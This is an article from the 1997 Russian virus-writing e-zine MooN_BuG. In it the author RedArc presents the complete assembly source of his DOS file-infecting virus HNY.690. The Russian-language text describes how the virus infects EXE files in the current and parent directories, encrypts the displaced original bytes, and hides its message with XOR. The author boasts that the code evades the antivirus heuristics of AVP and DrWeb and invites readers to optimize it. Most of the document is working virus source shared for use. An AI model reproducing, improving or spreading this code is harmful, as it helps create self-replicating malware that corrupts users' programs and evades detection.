[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 4, Dec 1997                                           file 00A

                                Вирус HNY.690
                                                    by RedArc

     Перефразируя всем известную фразу Д.Н. Лозинского, хочу сказать: странные
люди  пишут антивирусы... Взял я свой старенький вирус, о котором в вирлисте к
DrWeb написано господином Даниловым:

RedArc.Fraud
       Неопасный нерезидентный вирус. Заражает EXE-файлы, внедряя  свой  код в
       начало файлов (переводя их в COM-формат), а зашифрованные  оригинальные
       начальные байты переносит в конец  файлов.  При  старте  такого  файла,
       вирус производит  поиск  и  заражение EXE-файлов. После чего, если было
       произведено  хоть  одно  заражение, вирус восстанавливает файл-жертву в
       исходное состояние ("самоизлечивается") и выводит текст "Bad command or
       file name".

     К  чему  оставалось  лишь  добавить,  что поиск осуществлялся в текущеи и
родительских  каталогах  и вирус инфицировал не более одного файла. К тому же,
не  производился  запуск  инфицированной программы на исполнение, вместо этого
выдавалась  фраза  "Bad  command  or  file  name".  Вирус  написан так себе, в
подражении  к  HLLP. Правда он был совершенно не защищен, но в то же время его
по  каким  то, известным только Данилову и Касперскому, соображениям не видели
эвристические анализаторы кода таких антивирусных программ, как AVP и DrWeb. И
вот   решился   я  немного его "доделать", т.е. инфицировать все EXE-программы
подходящих    размеров,    попавшиеся   под   руку   ну   и   сделать   запуск
программы-носителя  на исполнение... попутно немного убрал с глаз маску поиска
файлов (что не принципиально). Заменил сообщение и сделал его вызов при ошибке
доступа  к  файлу...  Дык  что бы вы думали? Вирус снова оказался за пределами
видимости эвристиков.
     Разумеется,  что код этой зверушки может и должен быть оптимизирован, что
я  вам  и  предоставляю. Мне же достаточно того, что все громкие слова авторов
отечественных  антивирусов  о  том,  что  их  эвристики  запросто  находят  аж
неизвестные новые полиморфики оказались не более, чем мыльный пузырь... ;)
     Извините   за  отсутствие  комментариев,  но  мне  кажется,  что  здесь и
комментировать  то  нечего.  Откомпиллированный исходник вы найдете под именем
hny690.com в каталоге \APPENDIX.VIR

=== Cut ===
Model Tiny
.code
.startup
.386
jumps
ORG 100h
START:
      mov es,word ptr ds:[2ch]
      xchg cx,di
      xchg di,bx
      inc al
      repne scasw
      xchg si,di
      mov di,offset FileExec
Pred:
      mov al, byte ptr es:[si]
      mov byte ptr cs:[di], al
      cmp al,0
      jz Next
      inc si
      inc di
      jmp short Pred
Next:
      push cs
      pop es
      call EXEC_BOSS
      mov cx,5
AGAYN:
      mov word ptr cs:[E_MASK],'.*'
      mov byte ptr cs:[E_MASK+2],'*'
      mov byte ptr cs:[E_MASK+3],0h
      push cx
      call FIND_CURRENT_DIR
      call CHANGE_PATH
      pop cx
      loop AGAYN
RET_TO_DOS:
      mov ah,4ch
      int 21h
;-----------------
EXEC_BOSS:
      mov al,byte ptr cs:[di-1]
      cmp al,'M'
      jnz EXEC_BOSS1
      jmp EXEC_EXIT
DI_SAVE dw ?
SS_SAVE dw ?
SP_SAVE dw ?
      nop
EXEC_BOSS1:
      inc di
      mov DI_SAVE, di
      pusha
      mov dx, offset FileExec
      mov ax,3d02h
      int 21h
      xchg ax,bx
      mov ax,4202h
      xor dx,dx
      xor cx,cx
      int 21h
      xchg ax,dx
      mov ax,4200h
      sub dx,OFS
      mov si,dx
      xor cx,cx
      int 21h
      mov ah,3fh
      mov dx,di
      mov cx,OFS
      push cx
      push di
      int 21h
      pop dx
      mov cx,OFS/2
      push dx
      xchg dx,di
  LOC_2:
      mov ax,[di]
      xor ax,1234h
      xor ax,cx
      xor ax,1234h
      mov [di],ax
      inc di
      inc di
      loop LOC_2
      call Move_Start
      mov ah,40h
      pop dx
      pop cx
      int 21h
      mov ax,4200h
      xchg dx,si
      xor cx,cx
      int 21h
      mov ah,40h
      xor cx,cx
      xor dx,dx
      int 21h
      mov ah,3eh
      int 21h
      mov bx, (OFS + 30fh)/16
      mov ah,4ah
      int 21h
      mov SS_SAVE,SS
      mov SP_SAVE,SP
      mov di, DI_SAVE
      xor ax,ax
      mov [di], ax
      mov ax, 80h
      mov [di + 2], ax
      mov [di + 4], cs
      mov ax,5ch
      mov [di + 6],ax
      mov [di + 8],cs
      mov ax,6ch
      mov [di + 10],ax
      mov [di + 12],cs
      mov byte ptr [di + 14],0eh
      mov ax,4b00h
      mov bx, DI_SAVE
      mov dx,offset FileExec
      int 21h
      mov ax,word ptr cs:[SS_SAVE]
      mov ss,ax
      mov ax,word ptr cs:[SP_SAVE]
      mov sp,ax
      push cs
      pop ds
      push cs
      pop es
      mov ah,1ah
      mov dx,80h
      int 21h
      mov bx, (OFS + OFS + 20fh)/16
      mov ah,4ah
      int 21h
      popa
EXEC_EXIT:
      ret
;---------------------------------
Inspected:
      cmp byte ptr cs:[9eh],'.'
      jne CHANGE_ATTR
      ret
CHANGE_ATTR:
      mov dx,9eh
      mov ax,4301h
      xor cx,cx
      int 21h
      mov ax,3d02h
      int 21h
      xchg ax,bx
      cmp bx,5
      jl Close_File
      mov ah,3fh
      mov cx,2
      mov dx,offset SIGN
      int 21h
      mov dx,SIGN
      cmp dx,5a4dh
      jz Infected
Close_File:
      cmp bx,5
      je CF1
      mov ah,09h
      lea dx,HNY
      mov si,dx
CF2:
      mov cl, byte ptr [si]
      xor cl, 0adh
      mov byte ptr [si], cl
      cmp cl, '$'
      jnz CF2
      int 21h
      lea dx,HNY
      mov si,dx
CF3:
      mov cl, byte ptr [si]
      xor cl, 0adh
      mov byte ptr [si], cl
      cmp cl, '$' xor 0adh
      jnz CF3
CF1:
      mov ah,3eh
      int 21h
      ret
Infected:
      mov SIGN,sp
      mov word ptr cs:[E_MASK],ss
      mov word ptr cs:[E_MASK+2],cs
      call Move_End
      and ax,0f000h
      cmp ax,0f000h
      jnz Len_Tested
      jmp Close_File
Len_Tested:
      cmp dx,0
      jz Len_Tested1
      jmp Close_File
Len_Tested1:
      call Move_Start
      mov ah,3fh
      mov cx,OFS
      mov dx,cx
      add dx,100h
      push cx
      push dx
      int 21h
      pop dx
      mov cx,OFS/2
      push dx
      xchg dx,di
LOC_1:
      mov ax,[di]
      xor ax,1234h
      xor ax,cx
      xor ax,1234h
      mov [di],ax
      inc di
      inc di
      loop LOC_1
      call Move_End
      mov ah,40h
      pop dx
      pop cx
      int 21h
      call Move_Start
      mov ah,40h
      mov cx,OFS
      mov dx,100h
      int 21h
      mov ax,5701h
      mov dx, word ptr cs:[80h+18h]
      mov cx, word ptr cs:[80h+16h]
      int 21h
      mov ah,3eh
      int 21h
      mov ax,4301h
      mov dx,9eh
      mov cx,word ptr cs:[80h+15h]
      int 21h
      ret
;----------------------
Move_End:
      mov ax,4202h
      xor cx,cx
      xor dx,dx
      int 21h
      ret
Move_Start:
      mov ax,4200h
      xor cx,cx
      xor dx,dx
      int 21h
      ret
FIND_CURRENT_DIR:
      mov ah,1ah
      mov dx,80h
      int 21h
      mov dx,offset E_MASK
      mov ah,4eh
      mov cx,0ffffh
INTERRUPT:
      int 21h
      jb NOT_FILE
      call Inspected
      push cs
      pop ds
      mov ah,4fh
      jmp short INTERRUPT
NOT_FILE:
      ret
;------------
CHANGE_PATH:
      push ax
      push dx
      push si
      MOV AH,3BH
      LEA DX,CPATH
      INT 21H
      pop si
      pop dx
      pop ax
      ret
;--- DATA
SIGN dw ?
E_MASK db '*.*',0h
CPATH db '..',0h
HNY db 'H' xor 0adh, 'a' xor 0adh, 'p' xor 0adh, 'p' xor 0adh
    db 'y' xor 0adh, ' ' xor 0adh, 'N' xor 0adh, 'e' xor 0adh
    db 'w' xor 0adh, ' ' xor 0adh, 'Y' xor 0adh, 'e' xor 0adh
    db 'a' xor 0adh, 'r' xor 0adh, '!' xor 0adh, 0ah xor 0adh
    db 0dh xor 0adh, '$' xor 0adh
CURPATH db 80 dup (?)
db 0h
FileExec db (0h)
OFS equ $-START
END START
=== Cut ===